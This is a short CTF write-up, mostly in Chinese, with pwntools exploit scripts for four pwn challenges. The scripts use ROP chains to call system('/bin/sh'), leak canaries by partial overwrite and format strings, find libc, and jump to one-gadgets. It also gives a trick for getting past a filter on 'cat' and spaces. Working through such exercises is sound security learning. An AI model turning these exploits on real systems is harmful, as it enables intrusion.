36Dctf


题目感觉不难,但是就是做不出来

If you don’t go into the water, you can’t swim in your life

文中所用到的程序文件:bin file

签到

拿到shell之后,对cat和空格有过滤,需使用more>flag读取flag

from pwn import *
context(arch='amd64',os='linux')

# p = process('./pwn')
p = remote('124.156.121.112',28082)
elf = ELF('./pwn',checksec=False)

system_plt = elf.sym['system']
gets_plt = elf.sym['gets']
pop_rdi = 0x00000000004006d3
bss = 0x0000000000601068

payload = 'A'*(0x20+8)
payload += flat([pop_rdi, bss, gets_plt, 0x00000000004005F7])
p.sendline(payload)
# p.recvuntil('hello wrold!')
p.sendline('/bin/sh\x00')

payload = 'A'*(0x20 + 8)
payload += flat([pop_rdi, bss, system_plt, 0x00000000004005F7])
p.sendline(payload)
# p.recvuntil('hello wrold!')
sleep(0.1)
p.interactive()

MagicString

from pwn import *
context(arch='amd64',os='linux')

# p = process('./pwn')
p = remote('124.156.121.112',28062)
elf = ELF('./pwn',checksec=False)

system_plt = elf.sym['system']
gets_plt = elf.sym['gets']
pop_rdi = 0x0000000000400733
bss = 0x601078

payload = 'A'*(0x2a0+8)
payload += flat([pop_rdi, bss, gets_plt, 0x0000000000400661])
p.sendline(payload)
p.sendline('/bin/sh\x00')

payload = 'A'*(0x2a0 + 8)
payload += flat([pop_rdi, bss, system_plt, 0x0000000000400661])
p.sendline(payload)
sleep(0.1)
p.interactive()

MagicStack

开启了pie和canary,通过覆盖canary低字节泄露canary,接着覆写ret低字节使程序重新执行,为之后泄露libc准备。栈中有__libc_start_main,覆盖到其所在位置即可泄露libc地址,最后通过one gadget拿到shell

from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux',log_level='DEBUG')

p = process('./pwn')

# part1: leak canary

# padding to canary's low bit
payload = 'A'*(0x28) + 'B'
p.recvuntil('?')
p.send(payload)
# get canary
p.recvuntil('B')
canary = u64('\x00' + p.recv(7))
log.success('canary = %#x',canary)
# gdb.attach(p)
# pause()

payload = 'A'*(0x28) + p64(canary) + 'B'*0x18 + '\x04'
p.send(payload)
p.recvuntil("She said: hello?")

# part3: leak the addr of __libc_start_main+240 on stack
payload = 'A'*(0x47) + 'B'
p.send(payload)
p.recvuntil('B')
address = u64(p.recv(8).ljust(8,'\x00')) - 240
log.success("__libc_start_main = %#x",address)

# get libc addr
libc = LibcSearcher('__libc_start_main',address)
libc_base = address - libc.dump('__libc_start_main')
log.success("libc_base = %#x",libc_base)
one_gadget = 0x45216

# part4: overwirte the ret to point to one gadget
payload = 'A'*0x28 + p64(canary) + 'B'*0x18 + p64(libc_base + one_gadget)
p.send(payload)
sleep(0.1)
p.interactive()

tang

同样开启了pie和canary,与MagicStack相似,通过覆写ret低字节使程序重新执行。此处通过格式化字符串泄露canary和libc,通过one gadget拿到shell

from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux',log_level='DEBUG')

p = process('./pwn')

# part1: leak canary by fmt

p.recvuntil('\n')
p.send('%9$p')

canary = int(p.recv(18),16)
log.success('canary = %#x',canary)
# gdb.attach(p)
# pause()

# part2: overwrite the ret's low bit to re-execute the program
p.send('AAAAAA')
p.recv()
payload = 'B'*(0x50-0x18) + p64(canary) + 'C'*0x18 + '\x08'
p.send(payload)

# part3: leak libc
p.recv()
p.send('%7$p')
# setvbuf+144
setvbuf_addr = int(p.recv(14),16) - 0x144
log.success("setvbuf_addr = %#x",setvbuf_addr)

libc = LibcSearcher('setvbuf',setvbuf_addr)
libc_base = setvbuf_addr - libc.dump('setvbuf')
one_gadet = 0xf1147

# part4: overwirte the ret to point to one gadget

p.send('AAAA')
payload = 'B'*(0x50-0x18) + p64(canary) + 'C'*0x18 + p64(one_gadet + libc_base)
p.send(payload)
sleep(0.1)
p.interactive()